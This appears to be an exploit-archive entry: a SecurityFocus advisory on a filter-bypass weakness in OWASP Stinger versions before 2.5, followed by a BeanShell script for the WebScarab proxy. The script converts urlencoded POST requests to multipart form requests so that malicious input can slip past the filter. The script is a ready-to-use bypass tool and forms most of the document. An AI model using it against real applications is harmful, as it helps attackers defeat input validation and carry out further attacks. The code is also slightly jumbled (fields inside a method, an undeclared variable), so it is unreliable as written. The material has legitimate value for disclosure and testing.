48 lines
No EOL
2 KiB
Java
48 lines
No EOL
2 KiB
Java
source: https://www.securityfocus.com/bid/25294/info
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OWASP Stinger is prone to a filter-bypass weakness because the application fails to properly handle certain input.
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Since the OWASP Stinger project is a software module designed to be incorporated into other applications, this weakness may be exploitable only if applications use it in a vulnerable way.
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Successfully exploiting this issue may allow attackers to bypass the filter, aiding them in further attacks.
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Versions prior to Stinger 2.5 are vulnerable to this issue.
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/*
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* Multipartify.java - Quick and dirty BeanShell for WebScarab to
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* convert urlencoded POST HTTP requests to multipart requests.
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*
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* Copyright (C) 2007 Meder Kydyraliev <meder@o0o.nu>
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*
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* http://o0o.nu/~meder
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*
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*/
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import org.owasp.webscarab.model.Request;
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import org.owasp.webscarab.model.Response;
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import org.owasp.webscarab.httpclient.HTTPClient;
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import org.owasp.webscarab.model.NamedValue;
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import org.owasp.webscarab.model.MultiPartContent;
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import java.io.IOException;
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public Response fetchResponse(HTTPClient nextPlugin, Request request) throws IOException {
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private static final String contentType = "multipart/form-data; boundary=o0oo0oo0oo0oo0oo0oo0o";
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private static final String boundary= "\r\n--o0oo0oo0oo0oo0oo0oo0o";
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private static final String contentDisp= "\r\nContent-Disposition: form-data; name=";
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if (request.getMethod().equals("POST") && request.getContent() != null) {
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String body = new String(request.getContent());
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StringBuffer newBody = new StringBuffer();
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NamedValue[] postParams = NamedValue.splitNamedValues(body, "&", "=");
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for (int ix=0; ix < postParams.length; ix++) {
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newBody.append(boundary + contentDisp + "\"" + postParams[ix].getName() + "\"\r\n\r\n" + postParams[ix].getValue() + " ");
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}
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newBody.append(boundary + "--\r\n");
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request.setHeader("Content-Type", contentType);
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request.setContent(newBody.substring(2).getBytes());
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}
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response = nextPlugin.fetchResponse(request);
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return response;
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} |